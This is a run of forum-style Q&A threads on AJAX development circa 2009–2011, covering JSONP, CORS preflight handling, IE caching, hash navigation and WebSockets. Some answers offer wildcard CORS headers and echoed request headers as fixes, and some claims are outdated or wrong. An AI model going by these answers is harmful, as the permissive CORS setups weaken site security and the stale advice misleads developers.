Furthermore server side validation allows you to do more a more thorough business logic check of the data before committing it to your database.
While this strategy will work for good and legitimate users, it will not protect your site from a non-browser request using some hacker tool or a series of automated bot requests sending the HTTP POST command with the full load of crap which in the best case just pollute your system, in the worst damage your data consistency and that will cause error messages on multiple pages.
Client side validation is against the concept of "world wide web" because the reason for which we made html text based is because each device must be able to process rsponce however small the device is. Now client side validation demands processing power of the device used which is not what "www" expects from a device consuming html. Client side validations are particularly important for saving bandwidth , as internet speeds are increasing day by day there will be a time when we no longer require client side validations.
I'm not sure how long they've been doing it but I just noticed google using # in their search url instead of search?.
New way
http://www.google.com/#q=stackoverflow
Old way
http://www.google.com/search?q=stackoverflow
The pound/hash sign is generally used as an anchor to a section of a page.
Besides a shorter url what could be the benefits to Google? It seems to go against search engine convention, but then again Google sets convention. Are there any problems you can see to this approach?
UPDATE
To test for yourself use the general search box on www.google.com. You'll get some other junk in the url but the portion before the q= is what I'm referencing for this question.
UPDATE 2
Looks like this may be an experimental feature they're testing with random users as some people are being rerouted to the search? results when trying to go to the # results.
UPDATE 3
From the conversation here it appears this has been rolled out to all firefox users using the main google.com site for searching.
excerpts
4/27/09 The # in query parameters is a separate experiment that the search team was doing (AJAX based search results pages) that started some time back. It was discussed quite fervently in the Yahoo Web Analytics discussion group a few months ago. Random groups of people were/are assigned to be a part of the experiment, and that caused all the keyword data for that user to dissapear from every Analytics tool. It looks like the experiment is still going on.
4/28/09 The # in query parameters appears to have been rolled out to all Firefox users on www.google.com SERP`s, so this must have passed the testing stage. I am speculating that FireFox is able to handle AJAX better that IE, thus it has not been rolled out to IE users.
5/1/09 When I dug into the SERP's pages it looks like Google initially puts the websites "true" URL in the link, but once the link is clicked the URL is replaced with a Google redirect URL of the form www.google.com/url?q=flowers&blahblahblah. That redirect URL is what shows up in the HTTP referrer field and what gets reported by the web browser (and therefore the Analytics tools).
My google still uses the search? prefix, however the benefit of using the hash (#) is that it does not require reloading the page. Adding a query string (?) forces the page to reload in all browsers.
By using the hash they can keep an item in 'memory' by allowing it to persist in the browser element. Adding the hash also creates a history object for the page. This maintains forward and back functionality, while allowing them to process your search using AJAX. Basically this means they can process your search quicker by only having to fetch a subset of the HTTP headers required to load an entire page without losing functionality of a full load.
A quick Google search (using the good ol' ?q= method...) turns up this:
a couple months ago Google tested some search results that added a # into the URL. This created a big problem for people interested in seeing which keywords were driving traffic to their site (anything in the URL after a # doesn't get passed in the referrer... this is particularly a problem for web analytics products), so we worked with the search team to stop that test until they could find a better solution.
So, at one time this URL format was used for some subset of users, as part of one of the many tests that Google runs on unsuspecting subsets of its users. It caused problems for analytics software, so they switched to a different format for future tests, but still support the old hash-query URLs (by silently redirecting them to normal ?-query URLs).
well, facebook uses this technique for loading images without unloading the page, but still letting the person be at a distinct URL.
if you change the search query then, you can update the url in the address bar without reloading the page (no new GET request should be fired by the browser when you modify stuff after #)
Seems #q=stackoverflow redirects to search?q=stackoverflow&cad=h.
I don't know how you're getting that however - I get the usual one.
Actually first above redirects to the second.
This move by Google seems to have generated unwanted results. Google now shows a redirect page for EVERY search which includes a # character. Try it - it's so annoying. As a developer I search for C# a lot - and this issue has made me consider Bing as a better experience.
i would like to ask you for workaround on following problem. My site can use http and https protocol, it doesnt affect the content. My site uses jquery ajax calls, which fills some areas on page, too.
Now, i would like to do all ajax calls by https protocol. (please dont ask me why :)) When i am on page with https protocol, all is correct. Ajaxes are working. When im on page with http protocol, i got javascript error: Access to restricted URI denied
I know that this is cross domain problem (in fact its not, its cross protocol problem), and i know, that i should use same protocol in ajax call as protocol on current page.
Still i want to have all ajax calls starting with https, and call them from page starting with http. is there any workaround to achieve this(some json/proxy solution?), or is it simply imposible?
Try JSONP.
most JS libraries make it just as easy as other AJAX calls, but internally use an iframe to do the query.
if you're not using JSON for your payload, then you'll have to roll your own mechanism around the iframe.
personally, i'd just redirect form the http:// page to the https:// one
http://example.com/ may resolve to a different VirtualHost than https://example.com/ (which, as the Host header is not sent, responds to the default for that IP), so the two are treated as separate domains and thus subject to crossdomain JS restrictions.
JSON callbacks may let you avoid this.
Add the Access-Control-Allow-Origin header from the server
Access-Control-Allow-Origin: https://www.mysite.com
Proxy all your requests through a non-https resource on your domain, would be the way to go, as you suggested. Along the lines of:
<html>
<head>
<script src="/js/jquery-1.3.2.js"></script>
</head>
<body>
<script>
$.get("www.mydomain.com/?get=someresource", function(response) {
alert(response)
});
</script>
</body>
You could attempt to load the the https page in an iframe and route all ajax requests in/out of the frame via some bridge, it's a hackaround but it might work (not sure if it will impose the same access restrictions given the secure context). Otherwise a local http proxy to reroute requests (like any cross domain calls) would be the accepted solution.
Check out the opensource Forge project. It provides a JavaScript TLS implementation, along with some Flash to handle the actual cross-domain requests:
http://github.com/digitalbazaar/forge/blob/master/README
In short, Forge will enable you to make XmlHttpRequests from a web page loaded over http to an https site. You will need to provide a Flash cross-domain policy file via your server to enable the cross-domain requests. Check out the blog posts at the end of the README to get a more in-depth explanation for how it works.
However, I should mention that Forge is better suited for requests between two different https-domains. The reason is that there's a potential MiTM attack. If you load the JavaScript and Flash from a non-secure site it could be compromised. The most secure use is to load it from a secure site and then use it to access other sites (secure or otherwise).
Here's what I do:
Generate a hidden iFrame with the data you would like to post. Since you still control that iFrame, same origin does not apply. Then submit the form in that iFrame to the ssl page. The ssl page then redirects to a non-ssl page with status messages. You have access to the iFrame.
Having trouble with what I thought was a relatively simple jQuery plugin...
The plugin should fetch data from a php script via ajax to add options to a <select>. The ajax request is pretty generic:
$.ajax({
url:o.url,
type: 'post',
contentType:"application/x-www-form-urlencoded",
data: '{"method":"getStates", "program":"EXPLORE"}',
success: function(data, status) {
console.log("Success!!");
console.log(data);
console.log(status);
},
error: function(xhr, desc, err) {
console.log(xhr);
console.log("Desc: " + desc + "\nErr:" + err);
}
});
This seems to work fine in Safari. In Firefox 3.5, the REQUEST_TYPE on the server is always 'OPTIONS', and the $_POST data does not appear. Apache logs the request as type 'OPTIONS':
::1 - - [08/Jul/2009:11:43:27 -0500] "OPTIONS sitecodes.php HTTP/1.1" 200 46
Why would this ajax call work in Safari, but not Firefox, and how do I fix it for Firefox?
Thanks!
Here's a picture of the Firebug output: http://www.flickr.com/photos/fitzgeraldsteele/3701700103/
The reason for the error is the same origin policy. It only allows you to do XMLHTTPRequests to your own domain. See if you can use JSON instead:
$.getJSON( 'http://<url>/api.php?callback=?', function ( data ) { alert ( data ); } );
I used the following code on Django side to interpret the OPTIONS request and to set the required Access-Control headers. After this my cross domain requests from Firefox started working. As said before, the browser first sends the OPTIONS request and then immediately after that the POST/GET
def send_data(request):
if request.method == "OPTIONS":
response = HttpResponse()
response['Access-Control-Allow-Origin'] = '*'
response['Access-Control-Allow-Methods'] = 'POST, GET, OPTIONS'
response['Access-Control-Max-Age'] = 1000
response['Access-Control-Allow-Headers'] = '*'
return response
if request.method == "POST":
# ...
Edit: it seems to be that at least in some cases you also need to add the same Access-Control headers to the actual response. This can be a little bit confusing, since the request seems to succeed, but Firefox does not pass the contents of the response to the Javascript.
This mozilla developer center article describes various cross-domain request scenarios. The article seems to indicate that a POST request with content type of 'application/x-www-form-urlencoded' should be sent as a 'simple request' (with no 'preflight' OPTIONS request). I found , however, that Firefox sent the OPTIONS request, even though my POST was sent with that content type.
I was able to make this work by creating an options request handler on the server, that set the 'Access-Control-Allow-Origin' response header to '*'. You can be more restrictive by setting it to something specific, like 'http://someurl.com'. Also, I have read that, supposedly, you can specify a comma-separated list of multiple origins, but I couldn't get this to work.
Once Firefox receives the response to the OPTIONS request with an acceptable 'Access-Control-Allow-Origin' value, it sends the POST request.
I had same problem with sending requests to google maps, and solution is quite simple with jQuery 1.5 - for dataType use dataType: "jsonp"
I was looking through source 1.3.2, when using JSONP, the request is made by building a SCRIPT element dynamically, which gets past the browsers Same-domain policy. Naturally, you can't make a POST request using a SCRIPT element, the browser would fetch the result using GET.
As you are requesting a JSONP call, the SCRIPT element is not generated, because it only does this when the Type of AJAX call is set to GET.
Check if your form's action URL includes the www part of the domain, while the original page you have opened is viewed without www.
Typically done for Canonical Urls..
I struggled for hours before stumbling upon this article and found the hint of Cross Domain.
This PHP at the top of the responding script seems to work. (With Firefox 3.6.11. I have not yet done a lot of testing.)
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
header('Access-Control-Max-Age: 1000');
if(array_key_exists('HTTP_ACCESS_CONTROL_REQUEST_HEADERS', $_SERVER)) {
header('Access-Control-Allow-Headers: '
. $_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS']);
} else {
header('Access-Control-Allow-Headers: *');
}
if("OPTIONS" == $_SERVER['REQUEST_METHOD']) {
exit(0);
}
I seems that if o.url = 'index.php' and this file exists is ok and returning a success message in the console. It returns an error if I use url:'http://www.google.com'.
If doing a post request why not using directly the $.post method:
$.post("test.php", { func: "getNameAndTime" },
function(data){
alert(data.name); // John
console.log(data.time); // 2pm
}, "json");
It is so much simpler.
Try adding the option:
dataType: "json"
Another possibility to circumvent the problem is to use a proxy script. That method is described for example here: http://developer.yahoo.com/javascript/howto-proxy.html
I've fixed this issue using an entirely-Apache based solution. In my vhost / htaccess I put the following block:
# enable cross domain access control
Header always set Access-Control-Allow-Origin "*"
Header always set Access-Control-Allow-Methods "POST, GET, OPTIONS"
# force apache to return 200 without executing my scripts
RewriteEngine On
RewriteCond %{REQUEST_METHOD} OPTIONS
RewriteRule .* / [R=200,L]
You may not need the latter part, depending on what happens when Apache executes your target script. Credit goes to the friendly ServerFault folk for the latter part.
We had a problem like this with ASP.Net. Our IIS was returning an Internal Server Error when trying to execute a jQuery $.post to get some html content due to PageHandlerFactory was restricted to respond only GET,HEAD,POST,DEBUG Verbs. So you can change that restriction adding the verb "OPTIONS" to the list or selecting "All Verbs"
You can modify that in your IIS Manager, selecting your website, then selecting Handler Mappings, double click in your PageHandlerFactory for *.apx files as you need (We use Integrated application pool with framework 4.0). Click on Request Restrictions, then go to Verbs Tabn and apply your modification.
Now our $.post request is working as expected :)
I have posted a clear example of how to solve this if control the server code of the domain you are POSTing to. This answer is touched on in this thread, but this more clearly explains it IMO.
Can you try this without
contentType:application/x-www-form-urlencoded
I had a similar problem with trying to use the Facebook API.
The only contentType which didn't send the Preflighted request seemed to be just text/plain... not the rest of the parameters mentioned at mozilla https://developer.mozilla.org/en/http_access_control
FYI: The aforementioned Moz doc suggests X-Lori headers should trigger a Preflighted request ... it doesn't.
Solution to this is:
1) use dataType: "json" 2) add "&callback=?" to your url
this worked on calling Facebook API and with Firefox. Firebug is using GET instead of OPTIONS with the above conditions (both of them)
I have a view which is composed of top, left and bottom headers and a main contents pane. Suppose that during an AJAX request I need to update the HTML of the top, bottom and main panels (the left header should stay the same).
I was wondering what would be the best way to accomplish this. The first thought was to put the main contents panel into a partial and have a controller action that would return PartialView. This wouldn't work because as the action returns only the HTML of the main pane I cannot update the top and bottom headers.
So if I put the top and bottom headers into their own respective partial views I would need my controller action to return multiple partial views. Is this possible at all or I am doing something completely off the track?
I saw that it is possible to render a partial view to a string so I thought that I could use this technique in the action to return a JSON object with 3 properties representing the HTML of the 3 partials that I need to update. But this feels like a very wrong approach to me if possible at all.
Another idea I had was to return a JSON object only containing the data necessary for the partials and use javascript to construct the HTML. But building an UI in javascript looks like a difficult job (The main contents partial uses MvcContrib's GridView with paging and sorting).
So I would really appreciate suggestions on what would be the cleanest approach to handle such scenario. Also an adaptive solution would be great: for example if the user has javascript disabled it would just reload the whole page without AJAX.
UPDATE:
Andrew Siemer suggested placing each section into its own partial view and perform multiple ajax requests. This seems like a perfectly valid approach but unfortunately it is not applicable in my scenario because of the following detail I missed in my initial problem description: the top header is actually used to display error/information messages of events occurring in the main panel. So for example I need to show the error message in case an exception is thrown when fetching the model for the main panel. So only a single request could be made in order to update those two panels.
You can easily place each section into its own partial view. This would then allow you to make a jquery request for each view once your data has been submitted/changed. Each call could then be pushed into the appropriate section. This is very doable and sounds like the appropriate path.
I would not expect your controller to return multiple partial views...as this will break SRP!
Update: In following with your update...you can still fetch the sections separately. This simply takes a bit more ajax coolness on your part in that each fetch can return an error chunk (by way of a JSON request). If any error comes back then those error messages can be displayed in the header. Or...you can make the header request last for errors once all of the other requests have reported back in which case each partial view can toss it's error messages to a session variable for the error state...and then show those messages in the header.
A big reason for choosing to go with each section as it's own section rather than one uber request may not yet be apparent in the initial design. With each section being controlled separately you can then do fancy things such as caching each section independently, providing more frequent updates in one area over another, etc.
This is a tricky one. How about this?
Setup a partial request for each component top, left, main which each return a partial view with the data needed for that area. Then every time there is an event in the main panel kick off a refresh of the partials in each area to update them.
Alternatively have them all on fixed timers to poll for new data.
How about including your top and right view in hidden divs on your main view and moving them into correct places on load?
I know this question has been answered, but thought I'd just pitch in a suggestion:
(Just gonna leave this here as a suggestion for people reading this question)
I have legitimate reasons to do what I am trying to explain. I have an existing site say abc.com which has regular pages etc. everything written in php. Now I would like to AJAXify the site i.e. when a user clicks on a link, it should fetch the link using AJAX and replace the page contents. This is the easy part and I can achieve it using jQuery get function.
Now the problem comes when the user bookmarks the page. I can use hash tags to specify if the user is on another page, but instead of using javascript to fetch the new page again, is it possible to fetch it directly using PHP when the page is called.
Can you please give me an outline on how to achieve the above. This functionality is similar to what Facebook has.
Thankyou for your time.
The answer is no, you can't get the value of the URL hash server side. See How to get Url Hash (#) from server side.
You'll have to get the hash value client-side and make an extra request.
It's a fairly simply process of (1) Parsing the hash tag, and (2) Loading the content via Ajax as you normally would.
If you load more content when the user clicks on the page, just be sure to always correctly modify the hash tag to reflect what's on the page.
Here's a quick example to play around with. Click on a name and note the hash tag. The relevant Javascript looks like this :
// Go straight to content if it's in the hash.
$(document).ready(function(){
load_story_from_hash();
});
// Call this function whenever user clicks on a hash link
function set_hash(hash){
window.location.hash = hash;
load_story_from_hash()
}
// Actually load content based on the hash in the URL
function load_story_from_hash(){
var hash = window.location.hash;
hash = hash.replace(/^#/, '');
if (hash) {
$('#post_container').load(hash+'.html', {}, function(){
$.scrollTo('#post_container', 1000);
});
}
}
Well you can use one of these tools or roll your own. Uses window.location.hash along with other tricks.
jQuery History is my preferred choice. It can be found here: http://www.balupton.com/projects/jquery-history/ Provide cross browser support, binding to hashes, overloading hashes, all the rest.
There is also an Ajax extension for it called jQuery Ajaxy, allowing it to easily upgrade your webpage into a proper Ajax application without need for server side changes and remaining SEO and JS-Disabled friendly: http://www.balupton.com/projects/jquery-ajaxy/
This is the solution chosen by such sites as http://wbhomes.com.au/ and http://www.balupton.com
Overall they are both well documented, supported and feature rich. They've also won a bounty question here http://stackoverflow.com/questions/3205900/how-to-show-ajax-requests-in-url/3276206#3276206
The best way to do this is to have one index.php that loads all other pages based on the URL parts after it. For instance:
http://www.example.com/index.php/reports/employees/hoursWorked
In this case index.php will run, it can see what's being requested is is the hours worked report, and load that content. The problem is, if index.php then loads all other content after that using AJAX, the URL in the browser will never change.
One way around that problem would be to put a "Link to this page" link on every page that contains that form of URL for users to bookmark.
Can XMLHttpRequest send a request to http:// mydomain.com:81/ from http:// mydomain.com/ ?
For two documents to be considered to have the same origin, the protocol (http/https), the domain and the port (the default 80 or :xx) have to be indentical. So no, you cannot use xhr against a different port.
Requests are not send FROM some ports (in fact they are, but it is transparent), they are only send TO port.
Yes, you can send request to some port on machine you are at.
How do I serve a dynamically generated image in Django?
I have an html tag
<html>
...
<img src="images/dynamic_chart.png" />
...
</html>
linked up to this request handler, which creates an in-memory image
def chart(request):
img = Image.new("RGB", (300,300), "#FFFFFF")
data = [(i,randint(100,200)) for i in range(0,300,10)]
draw = ImageDraw.Draw(img)
draw.polygon(data, fill="#000000")
# now what?
return HttpResponse(output)
I also plan to change the requests to AJAX, and add some sort of caching mechanism, but my understanding is that wouldn't affect this part of the solution.
I assume you're using PIL (Python Imaging Library). You need to replace your last line with (for example, if you want to serve a PNG image):
response = HttpResponse(mimetype="image/png")
img.save(response, "PNG")
return response
See here for more information.
I'm relatively new to Django myself. I haven't been able to find anything in Django itself, but I have stumbled upon a project on Google Code that may be of some help to you:
When using Comet, or Ajax Long Pull techniques - an iframe is usually used. And while that iframe is waiting for the long connection to close, the browser is spinning its throbber (the progress/loading indicator).
Some websites, for example etherpad.com, managed to make it stop.
How do they do it?
After digging for a day and a night in the guts of the internets, here is what I came up with:
server-sent events - Very cool, currently works only in Opera, but may be part of HTML5 and other browsers may support it sometime. Adds a new element tag with content-type of "application/x-dom-event-stream" which allows the Server to fire events in the Client DOM. And it should not show a progress indicator, as far as I understand. It's also a working draft of a standard, and not a hack like the whole iframe comet thing.
XMLHttpRequest - in Firefox and Safari, but not in IE, it can be used for long-pull page loading that enables to handle fragments as they appear on each readyStateChange event. Will not show progress indicator*. -- see comment below
ActiveXObject("htmlfile") - can be used in IE to create a page/window that is outside of the current window scope. This makes the progress indicator go away! The loaded iframe will be in an invisible browser.
More about server-sent-events:
And more about the other two techniques (also explains the problem better): * http://meteorserver.org/browser-techniques/
Even more in-depth about each technique, and more techniques:
Just in case that you may need some examples, this guy did give a solution to solve firefox problem. http://www.shanison.com/?p=237
For me, running a setTimeout on the ajax request solved everything. When I ran the request from document.ready, I got the "throbber of doom". But with setTimeout it doesn't happen. (This fix also works for Chrome).
This is probably a dumb question, but I have to ask it anyway. I'd like to know if it is at all possible to create a web app that, with the help of a central server, could create direct connections with other users of the same web app. I'm imagining a process similar to UDP hole punching.
I've read about the new WebSockets API in HTML5, but it appears you must initiate the connection with a WS-compatible server before the fully-duplexed connection can begin. I'm thinking moreso about a process to make direct connections between clients, with a server getting involved only in the initial handshake.
NOTE: Java applets don't count. I'm interested only in standard browser technologies.
Instead of intelligent guesses, here is an informed answer:
HTML 5 plans to allow peer to peer connections from javascript, but these connections WILL NOT BE RAW TCP.
The complete spec can be found at http://dev.w3.org/html5/websockets/
jrh
EDIT: with specific reference to peer to peer connections, check out these links:
Its important to note that the capabilities are still being negotiated. It will be nice to be able to create "local chat" web apps :)
jrh
UPDATE: The engineers at Ericcson Labs have a proof of concept in a WebKit build that does HTML5 Peer to Peer Conversational Video.
They have demonstrations in their blog of the technology in action, as well as diagrams and explanations on how the technology will work.
They are working on getting this stabilized and committed to the WebKit repository.
There are a number of reasons why this would be tricky:
WebSockets is designed to solve the second of these issues, but (deliberately, I expect) not the other two. When they talk about peer-to-peer in the HTML5 spec, they are talking about full duplex communications between the server and the client, not between one client and another.
However, it would be simple to implement a proper network stack on top of websockets - with the proviso that all communication would still have to be done through the server. I have seen this done using long polling (a friend of mine at Uni wrote a full TCP/IP stack using long polling).
I second harshath.jr: you could very well have a server acting as a directory (exposing "origins" of each connected agent; origin being scheme+host+port as in draft-abarth-origin, with the scheme being either "ws" or "wss"). You could then initiate peer-to-peer WebSocket connections; the SOP being worked through thanks to CORS. Of course, this means that each agent (i.e. browser) would have to embed its own WebSocket server (Ã la Opera Unite).
In the mean time, do it the XMPP/IRC/etc.-way: no peer-to-peer connection but WebSocket connections to a central server (or network!) to pass messages to the connected agents (eventually using some specific WebSocket "subprotocol")
EDIT: note that all of this is actually outside the scope of HTML5 (all of those things were once part of HTML5 but have been split away into their own specs)
The Whole idea of Web Sockets was to solve the problems with Firewalls and proxies http://www.kaazing.org/confluence/display/KAAZING/What+is+an+HTML+5+WebSocket
Such peer-to-peer connection would probably be regarded as XSS (Cross Site Scripting) and will be blocked by browsers.
Also: the problem with pure peer-to-peer problems is, they don't work through a NAT-router. To solve that, you need a server between those peers. Maybe you can use Opera Unite for that.
I'm having a serious issue with Internet Explorer cachings results from a JQuery Ajax request.
I have header on my web page that get's updated everytime a users navigates to a new page. Once the page is loaded I do this
$.get("/game/getpuzzleinfo", null, function(data, status) {
var content = "<h1>Wikipedia Maze</h1>";
content += "<p class='endtopic'>Looking for <span><a title='Opens the topic you are looking for in a separate tab or window' href='" + data.EndTopicUrl + "' target='_blank'>" + data.EndTopic + "<a/></span></p>";
content += "<p class='step'>Step <span>" + data.StepCount + "</span></p>";
content += "<p class='level'>Level <span>" + data.PuzzleLevel.toString() + "</span></p>";
content += "<p class='startover'><a href='/game/start/" + data.PuzzleId.toString() + "'>Start Over</a></p>";
$("#wikiheader").append(content);
}, "json");
It just injects header info into the page. You can check it out by going to www.wikipediamaze.com and then logging in and starting a new puzzle.
In every browser I've tested (google, firefox, safari, ie) it works great EXCEPT in IE. Eveything get's injected just fine in IE THE FIRST TIME but after that it never even makes the call to "/game/getpuzzleinfo" it's like it has cached the results or something.
If I change the call to $.post("/game/getpuzzleinfo", ... IE picks it up just fine. But then Firefox quits working.
Can someone please shed some light on this as to why IE is chaching my $.get ajax calls?
Thanks~
UPDATE
Per the suggestion below, I've changed my ajax request to this which fixed my problem:
$.ajax({
type: "GET",
url: "/game/getpuzzleinfo",
dataType: "json",
cache: false,
success: function(data) { ... }
});
IE is notorious for its aggressive caching of Ajax responses. As you're using jQuery, you can set a global option:
$.ajaxSetup({
cache: false
});
which will cause jQuery to add a random value to the request query string, thereby preventing IE from caching the response.
Note that if you have other Ajax calls going on where you do want caching, this will disable it for those too. In that case, switch to using the $.ajax() method and enable that option explicitly for the necessary requests.
See http://docs.jquery.com/Ajax/jQuery.ajaxSetup for more info.
As marr75 mentioned, GET's are cached.
There are a couple of ways to combat this. Aside from modifying the response header, you can also append a randomly generated query string variable to the end of the targeted URL. This way, IE will think it is a different URL each time it is requested.
There are multiple ways to do this (such as using Math.random(), a variation on the date, etc).
Here's one way you can do it:
var oDate = new Date();
var sURL = "/game/getpuzzleinfo?randomSeed=" + oDate.getMilliseconds();
$.get(sURL, null, function(data, status) {
// your work
});
Gets are always cacheable. One strategy that may work is to edit the response header and tell the client to not cache the information or to expire the cache very soon.
this is what i do for ajax calls:
var url = "/mypage.aspx";
// my other vars i want to add go here
url = url + "&sid=" + Math.random();
// make ajax call
it works pretty well for me.
The answers here are very helpful for those who use jQuery or for some reason directly use the xmlHttpRequest object...
If you're using the auto-generated Microsoft service proxy its not as simple to solve.
The trick is to use Sys.Net.WebRequestManager.add_invokingRequest method in the event handler change the request url:
networkRequestEventArgs._webRequest._url = networkRequestEventArgs._webRequest._url + '&nocache=' + new Date().getMilliseconds();
I've blogged about this: http://yoavniran.wordpress.com/2010/04/27/ie-caching-ajax-results-how-to-fix/
Just wrote a blog on this exact issue only using ExtJS (http://thecodeabode.blogspot.com/2010/10/cache-busting-ajax-requests-in-ie.html )
The problem was as I was using a specific url rewriting format I couldn't use conventional query string params (?param=value), so I had write the cache busting parameter as a posted variable instead..... I would have thought that using POST variables are a bit safer that GET, simply because a lot of MVC frameworks use the pattern
protocol://host/controller/action/param1/param2
and so the mapping of variable name to value is lost, and params are simply stacked... so when using a GET cache buster parameter
i.e. protocol://host/controller/action/param1/param2/no_cache122300201
no_cache122300201 can be mistaken for a $param3 parameter which could have a default value
i.e.
public function action($param1, $param2, $param3 = "default value") { //..// }
no chance of that happening with POSTED cache busters
If you are calling ashx page you can also disable caching on the server with the following code:
context.Response.Cache.SetCacheability(HttpCacheability.NoCache);
context.Response.Cache.SetRevalidation(HttpCacheRevalidation.AllCaches);
To add some basic error handling, I wanted to rewrite a piece of code that used jQuery's $.getJSON to pull in some photo's from Flickr. The reason for doing this is that $.getJSON doesn't provide error handling or work with timeouts.
Since $.getJSON is just a wrapper around $.ajax I decided to rewrite the thing and surprise surprise, it works flawlessly.
Now the fun starts though. When I deliberately cause a 404 (by changing the URL) or cause the network to timeout (by not being hooked up to the interwebs), the error event doesn't fire, at all. I'm at a loss as to what I'm doing wrong. Help is much appreciated.
Here's the code:
$(document).ready(function(){
// var jsonFeed = "http://api.flickr.com/services/feeds/photos_public.gne"; // correct URL
var jsonFeed = "http://api.flickr.com/services/feeds/photos_public.gne_______"; // this should throw a 404
$.ajax({
url: jsonFeed,
data: { "lang" : "en-us",
"format" : "json",
"tags" : "sunset"
},
dataType: "jsonp",
jsonp: "jsoncallback",
timeout: 5000,
success: function(data, status){
$.each(data.items, function(i,item){
$("<img>").attr("src", (item.media.m).replace("_m.","_s."))
.attr("alt", item.title)
.appendTo("ul#flickr")
.wrap("<li><a href=\"" + item.link + "\"></a></li>");
if (i == 9) return false;
});
},
error: function(XHR, textStatus, errorThrown){
alert("ERREUR: " + textStatus);
alert("ERREUR: " + errorThrown);
}
});
});
This is a known limitation with the native jsonp implementation in jQuery. The text below is from IBM DeveloperWorks
JSONP is a very powerful technique for building mashups, but, unfortunately, it is not a cure-all for all of your cross-domain communication needs. It has some drawbacks that must be taken into serious consideration before committing development resources. First and foremost, there is no error handling for JSONP calls. If the dynamic script insertion works, you get called; if not, nothing happens. It just fails silently. For example, you are not able to catch a 404 error from the server. Nor can you cancel or restart the request. You can, however, timeout after waiting a reasonable amount of time. (Future jQuery versions may have an abort feature for JSONP requests.)
However there's a jsonp plug-in available on GoogleCode that provides support for error handling. To get started, just make the following changes to your code.
You can either download it, or just add a script reference to the plug-in.
<script type="text/javascript"
src="http://jquery-jsonp.googlecode.com/files/jquery.jsonp-1.0.4.min.js">
</script>
Then modify your ajax call as shown below:
$(function(){
//var jsonFeed = "http://api.flickr.com/services/feeds/photos_public.gne"; // correct URL
var jsonFeed = "http://api.flickr.com/services/feeds/photos_public.gne_______"; // this should throw a 404
$.jsonp({
url: jsonFeed,
data: { "lang" : "en-us",
"format" : "json",
"tags" : "sunset"
},
dataType: "jsonp",
callbackParameter: "jsoncallback",
timeout: 5000,
success: function(data, status){
$.each(data.items, function(i,item){
$("<img>").attr("src", (item.media.m).replace("_m.","_s."))
.attr("alt", item.title)
.appendTo("ul#flickr")
.wrap("<li><a href=\"" + item.link + "\"></a></li>");
if (i == 9) return false;
});
},
error: function(XHR, textStatus, errorThrown){
alert("ERREUR: " + textStatus);
alert("ERREUR: " + errorThrown);
}
});
});
jQuery 1.5 and higher have better support for error handling with JSONP requests. However, you need to use the $.ajax method instead of $.getJSON. For me, this works:
var req = $.ajax({
url : url,
dataType : "jsonp",
timeout : 10000
});
req.success(function() {
console.log('Yes! Success!');
});
req.error(function() {
console.log('Oh noes!');
});
The timeout seems to do the trick and cal the error handler, when there is no successful request after 10 seconds.
I did a little blogpost on this subject as well.
This may be a "known" limitation of jQuery; however, it does not seem to be well documented. I spent about 4 hours today trying to understand why my timeout was not working.
I switched to jquery.jsonp and it worked liked a charm. Thank you.
A solution if you're stuck with jQuery 1.4:
var timeout = 10000;
var id = setTimeout( errorCallback, timeout );
$.ajax({
dataType: 'jsonp',
success: function() {
clearTimeout(id);
...
}
});
Seems to be resolved as of jQuery 1.5. I've tried the code above and I get the callback.
I say "seems to be" because the documentation of the error callback for jQuery.ajax() still has the following note:
Note: This handler is not called for cross-domain script and JSONP requests.
Background: This is a request for something that may not exist yet, but I've been meaning to build one for a long time. First I will ask if anyone has seen anything like it yet.
Suppose you have an arbitrary JSON structure like the following:
{
'str_title':'My Employee List'
,'str_lastmod': '2009-June-15'
,'arr_list':[
{'firstname':'john','lastname':'doe','age':'33',}
,{'firstname':'jane','lastname':'doe','age':'34',}
,{'firstname':'samuel','lastname':'doe','age':'35',}
]
}
Question: Is there a web-based JSON editor that could take a structure like this, and automatically allow the user to modify this in a user-friendly GUI?
Example: Imagine an auto-generated HTML form that displays 2 input-type-text controls for both title and lastmod, and a table of input-type-text controls with three columns and three rows for arr_list ... with the ability to delete or add additional rows by clicking on a [+][X] next to each row in the table.
Big Idea: The "big idea" behind this is that the user would be able to specify any arbitrary (non-recursive) JSON structure and then also be able to edit the structure with a GUI-based interaction (this would be similar to the "XML Editor Grid View" in XML Spy).
Update: In an effort to answer my own question, here is what I've been able to uncover so far. If anyone else out there has something, I'd still be interested to find out more.
Commercial (No endorsement intended or implied, may or may not meet requirement)
I have found this one, it seems more promising than the others but it is still not what i had in mind.
http://jsoneditor.appspot.com/
Sinan.
This one looks great:
Following one of your list items, I've forked it and made customized it to my taste. I think it's the best one because it's simple enough so you can add stuff - plus it's the only one which features UNDO and REDO and the only one on the amazing git hub.
There are many missing features and it will most likely become discontinued unless someone fork it or the original author pulls from it, but anyway, here it is: http://cauerego.github.com/jsoneditor/
XML Webpad - http://xmlwebpad.codeplex.com
This is a XML editor that builds the UI from a JSON structure (which is created by converting the XML to JSON on the server).
Here's my 2 cents
I'm looking to allow a user to browse and upload a file to the server in my ASP.NET MVC application.
If it is possible, I'm interested in adding a progress bar to show how much of the file has been uploaded.
Does anyone have any examples of something like this? Should I use jQuery to do this?
The beauty of ASP.NET MVC is that you can choose almost any out of the box upload component out there and use it without any problems.
This plugin for jQuery is a great choice and one that I use in my projects: Uploadify
My SlickUpload ASP.NET upload control supports ASP.NET MVC and doesn't introduce a dependency on flash.
Steve Sanderson put some examples on his blog awhile back that I found helpful. He has the source code available as well.
Uploadify is nice, but we can't use Flash, so we are using Darren Johnstone's file upload control:
ASP.Net File Upload/Download Module Version 2
http://darrenjohnstone.net/2008/07/15/aspnet-file-upload-module-version-2-beta-1/
It includes a progress bar dialog driven entirely with Javascript, and even has the capability to upload and download files directly to a SQL Server database.
I have to start using AJAX in a project and I don't know where to start. Can someone please help?
Asynchronous JavaScript And Xml. A technique for achieving bi-directional, script-driven communications between Web browsers and servers via HTTP.
Edit: As pointed out by Nosredna, JSON is often used in place of XML.
Not to be confused with the cleaner, AJAX, the technology term, is really describing a framework or better stated as a technique for using XML and JavaScript to make asynchronous calls to server side code...
Here are some good code samples. And some more.
While many of these samples above show how to create all of the XML Request objects, if you look into the AJAX Control Toolkit from Microsoft for ASP.NET applications or jQuery, you'll find these easier to work with.
jQuery Sample (from jQuery site):
when code is hit, the some.php file is hit passing the name and location values in.
<script type="javascript">
function saveDataAjax(){
$.ajax({
type: "POST",
url: "some.php",
data: "name=John&location=Boston",
success: function(msg){
alert( "Data Saved: " + msg );
}
});
